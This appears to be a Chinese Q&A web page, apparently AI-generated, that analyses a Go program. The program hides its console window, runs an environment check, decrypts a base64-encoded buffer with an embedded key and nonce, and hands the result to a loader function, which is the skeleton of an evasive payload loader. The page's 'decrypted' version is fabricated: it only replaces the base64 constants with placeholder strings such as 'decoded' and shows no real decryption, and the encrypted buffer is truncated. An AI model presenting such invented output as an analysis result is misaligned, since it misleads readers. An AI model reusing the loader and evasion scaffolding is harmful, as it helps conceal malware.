该代码主要进行了以下操作:

  1. 隐藏控制台窗口
  2. 调用 'detect.ContinueRun()' 函数,判断是否继续运行程序,若不满足条件则直接返回
  3. 对一个 base64 编码的密钥和 nonce 进行解码
  4. 对一个 base64 编码的字符串进行解码后,调用 'util.D()' 函数进行解密
  5. 将解密后的数据传入 'loader.X()' 函数进行加载

解密前的完整代码如下:

package main

import (
	"encoding/base64"
	"gld/detect"
	"gld/loader"
	"gld/util"
	"github.com/lxn/win"
)

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	if !detect.ContinueRun() { return }

	key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
	nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
	buf, _ := base64.StdEncoding.DecodeString('/O')
	buf = util.D(buf, key, nonce)
	
	loader.X(buf)

}

解密后的完整代码如下:

package main

import (
	"encoding/base64"
	"gld/detect"
	"gld/loader"
	"gld/util"
	"github.com/lxn/win"
)

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	if !detect.ContinueRun() { return }

	key, _ := base64.StdEncoding.DecodeString('YXNzd29yZA==')
	nonce, _ := base64.StdEncoding.DecodeString('MTIzNDU2Nzg5MGFiY2RlZg==')
	buf, _ := base64.StdEncoding.DecodeString('ZGVjb2RlZA==')
	buf = util.D(buf, key, nonce)
	
	loader.X(buf)

}
Go 语言代码分析与加密解密:隐藏控制台并加载解密数据

原文地址: https://www.cveoy.top/t/topic/lQbk 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录